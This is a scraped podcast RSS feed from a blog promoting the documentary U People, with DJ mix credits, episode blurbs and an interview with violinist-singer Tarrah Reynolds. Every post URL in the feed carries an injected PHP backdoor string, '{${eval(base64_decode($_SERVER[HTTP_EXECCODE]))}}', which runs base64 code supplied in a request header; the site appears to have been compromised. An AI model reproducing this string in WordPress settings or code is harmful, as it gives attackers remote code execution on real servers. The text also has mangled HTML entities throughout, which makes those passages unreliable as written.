http://suckaforlife.com/upodcast the film. the love. the people. Thu, 04 Mar 2010 01:34:18 +0000 http://wordpress.org/?v=2.8 en hourly 1 ©Hanifah Walidah and Olive Demetrius trust_life@yahoo.com (Hanifah Walidah and Olive Demetrius) trust_life@yahoo.com(Hanifah Walidah and Olive Demetrius) 1440 are everywhere. A weekly bowl of interesting folks, music, viewership made videos based around the documentary U People. Hosted by filmmakers Hanifah Walidah and Olive Demetrius is also chronicles their experiences in making and pushing U People to the world. Hanifah Walidah and Olive Demetrius Hanifah Walidah and Olive Demetrius trust_life@yahoo.com No no http://suckaforlife.com/upodcast/wp-content/plugins/podpress/images/powered_by_podpress.jpg http://suckaforlife.com/upodcast 144 144 http://suckaforlife.com/upodcast/2009/02/06/the-u-people-film-soundtrack/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2009/02/06/the-u-people-film-soundtrack/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 07 Feb 2009 04:41:39 +0000 souloperator http://suckaforlife.com/upodcast/?p=469 SHARETHIS.addEntry({ title: "The U People Film Soundtrack", url: "http://suckaforlife.com/upodcast/2009/02/06/the-u-people-film-soundtrack/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2009/02/06/the-u-people-film-soundtrack/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 http://suckaforlife.com/upodcast/2009/01/12/born-again-american-part-2-onto-the/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2009/01/12/born-again-american-part-2-onto-the/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 12 Jan 2009 16:48:53 +0000 souloperator http://suckaforlife.com/upodcast/?p=462 SHARETHIS.addEntry({ title: "Born Again American – Part 2 – “Onto The”", url: "http://suckaforlife.com/upodcast/2009/01/12/born-again-american-part-2-onto-the/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2009/01/12/born-again-american-part-2-onto-the/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 11:06 Born Again American (Part 2) - "Onto The" (12 minutes): Features the wise words of Evelyn Granville, the first Black American Woman Mathematian PHD. ... Born Again American (Part 2) - "Onto The" (12 minutes): Features the wise words of Evelyn Granville, the first Black American Woman Mathematian PHD. She along with the music explore how the beauty of faith is often out shown by the shadows of religion. And meanwhile time repeats itself.nbsp; The Born Again American Mix Part 2 ldquo;Onto Therdquo; is no longer available for download. The Born Again American Download Card will be available online in February and at select stores. If you missed Part 2 ldquo;OnTo Therdquo; Listen CREDITS/PLAYLIST Mixed and Arranged by Hanifah Walidah Co-Mixed by DJ FoLAKe Main Track: "Stand on the Word" - Joubert Singers (Tirk Records) "What do you know" - The Gentle People (Remix/Nivek Tsoy) (I Records) Wise Words: Evelyn Granville (visionaryproject.org) copy; 2002-2008 The National Visionary Leadership Project. All Rights Reserved. Photography: Olive Demetrius Graphic Design: Hanifah Walidah If you missed art 1 "To Sea" Listen The Born Again American Music Mix is a series of exquisite mixes inspired by a new era. Each week will question and affirm what we know and where we choose to gohellip; from here. Every Monday starting Jan. 5th and ending Jan. 19th, 1 out of a 3 part Born Again American mix series will be made available on the U Music Drops widget. Every week at Monday 12pm the U Music Drops Player will drop a new mix. You will have 7 days to download that mix for free. LEARN MORE ABOUT THE U MUSIC WIDGET HERE.ShareThis *Audio,Podcasts,,Archive,,Originals,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2009/01/04/born-again-american-part-1-to-sea/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2009/01/04/born-again-american-part-1-to-sea/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 05 Jan 2009 02:06:30 +0000 souloperator http://suckaforlife.com/upodcast/?p=452 SHARETHIS.addEntry({ title: "Born Again American – Part 1 “To Sea”", url: "http://suckaforlife.com/upodcast/2009/01/04/born-again-american-part-1-to-sea/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2009/01/04/born-again-american-part-1-to-sea/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 11:06 The Born Again American Music Mix is a series of exquisite mixes inspired by a new era. Each week will question and affirm what we ... The Born Again American Music Mix is a series of exquisite mixes inspired by a new era. Each week will question and affirm what we know and where we choose to go... from here. Every Monday starting Jan. 5th and ending Jan. 19th, 1 out of a 3 part Born Again American mix series will be made available on the U Music Drops widget. Every week at Monday 12pm the U Music Drops Player will drop a new mix. You will have 7 days to download that mix for free. LEARN MORE ABOUT THE U MUSIC WIDGET HERE. PART 1 - TO SEA Part 1- To Sea, features the wise words of Ruby Dee as she delves into the African American identity in a way that is refreshing and downright timely. I think many African Americans, I know I have, have been left by the crossroads with the victory of this election. The crossroads of our identity. Most, not all, of us have been raised with some or more a degree of cynicism and resentment towards America; leaving us with a splintered, at best, sense of identity. The Born Again American Mix Part 1 "To Sea" is no longer available for download. The Born Again American Download Card will be available online in February and at select stores. If you missed Part 1 "To Sea" Listen This is an idea I've had on the burner for a minute as Barack was running, now that the will be our president in just a few weeks I could not resist the artistic forces that were willing to give these thoughts voice. As I started piecing together the music I would use on Beatport.com, I came by a site www.visionaryproject.org that is an archive of interviews with prominent African American leaders in the sciences, humanities, arts and politics. I gravitated to the women of course and they surely did not disappoint. At the same time I teamed up with a my friend DJ FoLAKe to play around with the idea that was coming to light. I am a storyteller and I can't help but tell one in my art whether it is theater, music or film. It was my pleasure to create this mix and I hope it is your pleasure to listen. CREDITS/PLAYLIST Mixed and Arranged by Hanifah Walidah Co-Mixed by DJ FoLAKe Main Track: Lonely Quiet by Soul T (Exquisite Records) Additional Track: Godspeed by Modeselektor (Bpitch Control) What Do You Know by The Gentle People ( I Records) Additional Vocals/Poetry: Hanifah Walidah and Olive Demetrius Wise Words: Ruby Dee (www.visionaryproject.org) copy; 2002-2008 The National Visionary Leadership Project. All Rights Reserved. Photography: Olive Demetrius Graphic Design: Hanifah Walidah Special Thanks to Lars Kronlund for introducing me to Beatport.comShareThis Archive,,Originals,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/10/15/dj-selly-interview/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/10/15/dj-selly-interview/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 15 Oct 2008 11:28:23 +0000 Ahluv http://suckaforlife.com/upodcast/?p=359 SHARETHIS.addEntry({ title: "MUSIC: DJ Selly Interview", url: "http://suckaforlife.com/upodcast/2008/10/15/dj-selly-interview/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/10/15/dj-selly-interview/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 10 Oct 2008 04:31:01 +0000 souloperator http://suckaforlife.com/upodcast/?p=351 SHARETHIS.addEntry({ title: "MUSIC: Jianda speaks to U People", url: "http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/10/09/jianda-speaks-to-u-people/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 http://suckaforlife.com/upodcast/2008/10/01/female-all-stars-proper-in-the-uk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/10/01/female-all-stars-proper-in-the-uk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 01 Oct 2008 16:04:16 +0000 Ahluv http://suckaforlife.com/upodcast/?p=341 SHARETHIS.addEntry({ title: "‘Female’ All Stars Proper in the UK", url: "http://suckaforlife.com/upodcast/2008/10/01/female-all-stars-proper-in-the-uk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/10/01/female-all-stars-proper-in-the-uk/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 http://suckaforlife.com/upodcast/2008/09/25/dj-rimarkable-talks-shop-with-dj-kristi-lomax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/09/25/dj-rimarkable-talks-shop-with-dj-kristi-lomax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 25 Sep 2008 20:53:12 +0000 souloperator http://suckaforlife.com/upodcast/?p=326 SHARETHIS.addEntry({ title: "DJ Rimarkable talks shop", url: "http://suckaforlife.com/upodcast/2008/09/25/dj-rimarkable-talks-shop-with-dj-kristi-lomax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/25/dj-rimarkable-talks-shop-with-dj-kristi-lomax/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 32:54 DJ Kristi Lomax interviews DJ Rimarkable- Our series of interviews with the U People DJ Allstars, jumps off with Detroit's own DJ Remarkable. Our conversation included ... DJ Kristi Lomax interviews DJ Rimarkable- Our series of interviews with the U People DJ Allstars, jumps off with Detroit's own DJ Remarkable. Our conversation included a discussion about hip hop vs. house music, religion and music from her AUGUST mix for U-People. This multi-talented selector, also spoke about her evolution from DJ to music producer, composing original tunes for Bay area artists like Valerie Troutt, and the perils of leaving the club with no phone numbers. Get turned on to music and a new DJ.ShareThis Archive,,DJ,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 19 Sep 2008 03:18:28 +0000 souloperator http://suckaforlife.com/upodcast/?p=316 SHARETHIS.addEntry({ title: "Tarrah Reynolds talks with U People", url: "http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/18/tarrah-reynolds/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 4:42 Interviewed by: Tika Milan U PEOPLE: Your song ldquo;Where I want to gordquo;, which is a beautiful song, was featured on February U People Mix. Where ... Interviewed by: Tika Milan U PEOPLE: Your song ldquo;Where I want to gordquo;, which is a beautiful song, was featured on February U People Mix. Where did that song come from? TARRAH REYNOLDS: I wrote that song when I was fasting. I was so clear minded. I donrsquo;t know if yoursquo;ve ever fasted, but itrsquo;s that feeling of clarity and I felt that I could just see things that I hadnrsquo;t been able to see. I was basically talking about paradise and heaven. U PEOPLE: How long did you fast for? TARRAH REYNOLDS: I fasted for like 14th days. U PEOPLE: What other things inspire your work? TARRAH REYNOLDS: I just donrsquo;t push myself. I just wait for it to come. I honestly try not to force it. When I do that, itrsquo;s so irritating. Irsquo;m never happy with what I come up with. So I try to be relaxed and let it come to me as natural as possible. U PEOPLE: You attended Julliard and play the violin. How did the transition to guitarist and singer song writer come about? TARRAH REYNOLDS: While I was at Julliard, what really opened me up and made me see there were other possibilities was when someone called me to be in a Drsquo;Angelo video. That was the first thing I ever did outside of classical music. It was the first professional thing I did outside of an orchestra. U PEOPLE: What did you do in the Drsquo;Angelo video? TARRAH REYNOLDS: Just played the violin. I was a big fan of his and to able to work with someone outside of classical that I loved just made me want to do more of it. U PEOPLE: How do you find the balance between what you learned in school and what yoursquo;ve learned about your creativity outside of academia? TARRAH REYNOLDS: Sometimes I complain about Julliard, but I honestly am so glad I went there. I have better technical ability and such a literal understanding of music. That really helps me when I go sing with other singer-song writers or rappers, getting it happens so quickly. Irsquo;m very grateful for my education. U PEOPLE: Yoursquo;ve played with a variety of people from Tamar Kali and Imani Uzuri to Jay-Z and Kanye West.nbsp; How are able to span over so many different musical styles TARRAH REYNOLDS: I just really try not to have a specific style. Some people try to put me in a category, but Irsquo;ve never been one to focus on one particular style. Irsquo;ve never really been hardcore about one thing in particular. U PEOPLE: Yoursquo;re music sounds very jazzy and folk-y You kind of remind me of Joni Mitchell, but black. There is still soulfulness to it. How would you describe your sound? TARRAH REYNOLDS: Irsquo;m a big fan of Joni Mitchell. Melody is very very important to her and she is very crafty with it. I really love when people take the time to create a beautiful melody. I make my music melodic and soulful and pretty. U PEOPLE: So what do you have coming up? TARRAH REYNOLDS: Right now Irsquo;m trying to do a proper recording. I have a lot of live stuff. Itrsquo;s cool but I want to take it to the next step and have something more polished. I hope to have it finished at the end of the year. Visit Tarrah Reynolds at www.myspace.com/misstarrah Learn about the U People Download Music Mix Card here. Get your card today! ShareThis Archive,,Artist,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/09/11/dj-la-femme-mixes-sep-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/09/11/dj-la-femme-mixes-sep-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 12 Sep 2008 03:29:39 +0000 souloperator http://suckaforlife.com/upodcast/?p=300 SHARETHIS.addEntry({ title: "DJ La Femme Mixes Sep. 2008", url: "http://suckaforlife.com/upodcast/2008/09/11/dj-la-femme-mixes-sep-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/11/dj-la-femme-mixes-sep-2008/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 3:28 The Fall is upon us and summer leaves bitterly. But here in Brooklyn a loan DJ spins just for U People. Here is just a taste ... The Fall is upon us and summer leaves bitterly. But here in Brooklyn a loan DJ spins just for U People. Here is just a taste of the sweet bitter end of summer with DJ La Femme. Click image to get your U People Download Music Mix Card. Already have one, click here to redeem the latest mix off of your card!ShareThis Archive,,DJ,Interviews,,U,Music Hanifah Walidah and Olive Demetrius no No http://suckaforlife.com/upodcast/2008/09/09/staceyannchinlive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://suckaforlife.com/upodcast/2008/09/09/staceyannchinlive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 09 Sep 2008 19:52:10 +0000 souloperator http://suckaforlife.com/upodcast/?p=294 SHARETHIS.addEntry({ title: "Staceyann Chin live at Southpaw", url: "http://suckaforlife.com/upodcast/2008/09/09/staceyannchinlive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });]]> http://suckaforlife.com/upodcast/2008/09/09/staceyannchinlive/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1